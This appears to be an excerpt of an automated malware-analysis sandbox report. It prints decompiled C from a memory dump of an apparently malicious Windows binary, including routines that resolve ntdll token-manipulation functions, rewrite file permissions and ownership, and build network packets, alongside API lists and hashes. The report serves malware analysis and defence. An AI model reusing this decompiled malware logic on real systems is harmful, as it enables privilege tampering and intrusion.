						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x43aed43b
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 5af76653529245223ce54de3b2201f43486e795cc7c2b0fcdaec7285886f4086
Instruction ID: 937aca74520052d45988c2d0c0f169875d4d0bc257a2eacc80ff7e120b8985ce
Opcode Fuzzy Hash: 5af76653529245223ce54de3b2201f43486e795cc7c2b0fcdaec7285886f4086
Instruction Fuzzy Hash: 75F0C2B6104218AFD710DB64EDC4EE777EED714308F1084B6E286E3145D6B89DA85B6C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U,00000000,00000000,00401839,00409646), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtFilterToken, xrefs: 0040122B
NtSetInformationToken, xrefs: 00401175
RtlInitUnicodeString, xrefs: 00401135
RtlLengthSid, xrefs: 00401246
NtTerminateProcess, xrefs: 004010F6
NtQueryInformationToken, xrefs: 00401262
RtlNtStatusToDosError, xrefs: 00401194
RtlSetLastWin32Error, xrefs: 004010D6
NtDuplicateToken, xrefs: 004011F3
NtSetInformationThread, xrefs: 00401155
ntdll.dll, xrefs: 0040100D
RtlFreeSid, xrefs: 00401116
RtlAllocateAndInitializeSid, xrefs: 0040120F
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
NtOpenProcessToken, xrefs: 004011D4
NtClose, xrefs: 004011B4

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Jun, xrefs: 0040B279
Sep, xrefs: 0040B28E
Apr, xrefs: 0040B26B
Feb, xrefs: 0040B25D
Sat, xrefs: 0040B24F
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Nov, xrefs: 0040B29C
Oct, xrefs: 0040B295
Mar, xrefs: 0040B264
Mon, xrefs: 0040B22C
Jan, xrefs: 0040B256
Thu, xrefs: 0040B241
Aug, xrefs: 0040B287
Jul, xrefs: 0040B280
May, xrefs: 0040B272
Fri, xrefs: 0040B248
Wed, xrefs: 0040B23A
Sun, xrefs: 0040B225
Dec, xrefs: 0040B2A3
Tue, xrefs: 0040B233

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: bbb0d291d0271cba540b667b0f3814d98b04dc1fd7a1b82a3c72bd3b7ab024ed
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: bbb0d291d0271cba540b667b0f3814d98b04dc1fd7a1b82a3c72bd3b7ab024ed
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: 5d367cb876cec50806b511f370124f631878d4f00faf51000591b0b789bb39b9
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: 5d367cb876cec50806b511f370124f631878d4f00faf51000591b0b789bb39b9
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
